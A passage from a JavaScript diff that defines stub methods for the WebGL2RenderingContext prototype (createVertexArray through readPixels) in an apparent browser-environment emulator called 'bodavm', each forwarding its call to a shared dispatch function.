true, + value: function createTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createVertexArray", { + configurable: true, + enumerable: true, + writable: true, + value: function createVertexArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createVertexArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "cullFace", { + configurable: true, + enumerable: true, + writable: true, + value: function cullFace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "cullFace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteSampler", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteSampler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteSampler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteShader", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteSync", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteVertexArray", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteVertexArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteVertexArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function depthFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthMask", { + configurable: true, + enumerable: true, + writable: true, + value: function depthMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthRange", { + configurable: true, + enumerable: true, + writable: true, + value: function depthRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "detachShader", { + configurable: true, + enumerable: true, + writable: true, + value: function detachShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "detachShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "disable", { + configurable: true, + enumerable: true, + writable: true, + value: function disable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "disable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawArraysInstanced", { + configurable: true, + enumerable: true, + writable: true, + value: function drawArraysInstanced() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawArraysInstanced", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawElementsInstanced", { + configurable: true, + enumerable: true, + writable: true, + value: function drawElementsInstanced() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawElementsInstanced", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawRangeElements", { + configurable: true, + enumerable: true, + writable: true, + value: function drawRangeElements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawRangeElements", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "enable", { + configurable: true, + enumerable: true, + writable: true, + value: function enable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "enable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "endQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function endQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "endQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "endTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function endTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "endTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "fenceSync", { + configurable: true, + enumerable: true, + writable: true, + value: function fenceSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "fenceSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "finish", { + configurable: true, + enumerable: true, + writable: true, + value: function finish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "finish", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferTexture2D", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferTexture2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferTexture2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferTextureLayer", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferTextureLayer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferTextureLayer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "frontFace", { + configurable: true, + enumerable: true, + writable: true, + value: function frontFace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "frontFace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "generateMipmap", { + configurable: true, + enumerable: true, + writable: true, + value: function generateMipmap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "generateMipmap", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveAttrib", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveAttrib() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveAttrib", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniformBlockName", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniformBlockName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniformBlockName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniformBlockParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniformBlockParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniformBlockParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniforms", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniforms() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniforms", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getAttachedShaders", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttachedShaders() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getAttachedShaders", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getAttribLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttribLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getAttribLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getBufferParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getBufferParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getBufferParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getBufferSubData", { + configurable: true, + enumerable: true, + writable: true, + value: function getBufferSubData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getBufferSubData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getContextAttributes", { + configurable: true, + enumerable: true, + writable: true, + value: function getContextAttributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getContextAttributes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getError", { + configurable: true, + enumerable: true, + writable: true, + value: function getError() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getError", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getExtension", { + configurable: true, + enumerable: true, + writable: true, + value: function getExtension() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getExtension", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getFragDataLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getFragDataLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getFragDataLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getFramebufferAttachmentParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getFramebufferAttachmentParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getFramebufferAttachmentParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getIndexedParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getIndexedParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getIndexedParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getInternalformatParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getInternalformatParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getInternalformatParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getProgramInfoLog", { + configurable: true, + enumerable: true, + writable: true, + value: function getProgramInfoLog() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getProgramInfoLog", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getProgramParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getProgramParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getProgramParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function getQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getQueryParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getQueryParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getQueryParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getRenderbufferParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getRenderbufferParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getRenderbufferParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSamplerParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getSamplerParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSamplerParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderInfoLog", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderInfoLog() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderInfoLog", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderPrecisionFormat", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderPrecisionFormat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderPrecisionFormat", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderSource", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSupportedExtensions", { + configurable: true, + enumerable: true, + writable: true, + value: function getSupportedExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSupportedExtensions", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSyncParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getSyncParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSyncParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getTexParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getTexParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getTexParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getTransformFeedbackVarying", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransformFeedbackVarying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getTransformFeedbackVarying", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformBlockIndex", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniformBlockIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformBlockIndex", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformIndices", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniformIndices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformIndices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniformLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getVertexAttrib", { + configurable: true, + enumerable: true, + writable: true, + value: function getVertexAttrib() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getVertexAttrib", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getVertexAttribOffset", { + configurable: true, + enumerable: true, + writable: true, + value: function getVertexAttribOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getVertexAttribOffset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "hint", { + configurable: true, + enumerable: true, + writable: true, + value: function hint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "hint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "invalidateFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function invalidateFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "invalidateFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "invalidateSubFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function invalidateSubFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "invalidateSubFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isContextLost", { + configurable: true, + enumerable: true, + writable: true, + value: function isContextLost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isContextLost", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isEnabled", { + configurable: true, + enumerable: true, + writable: true, + value: function isEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isEnabled", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function isProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function isQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function isRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isSampler", { + configurable: true, + enumerable: true, + writable: true, + value: function isSampler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isSampler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isShader", { + configurable: true, + enumerable: true, + writable: true, + value: function isShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isSync", { + configurable: true, + enumerable: true, + writable: true, + value: function isSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function isTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function isTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isVertexArray", { + configurable: true, + enumerable: true, + writable: true, + value: function isVertexArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isVertexArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "lineWidth", { + configurable: true, + enumerable: true, + writable: true, + value: function lineWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "lineWidth", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "linkProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function linkProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "linkProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "pauseTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function pauseTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "pauseTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "pixelStorei", { + configurable: true, + enumerable: true, + writable: true, + value: function pixelStorei() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "pixelStorei", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "polygonOffset", { + configurable: true, + enumerable: true, + writable: true, + value: function polygonOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "polygonOffset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "readBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function readBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "readBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "readPixels", { + 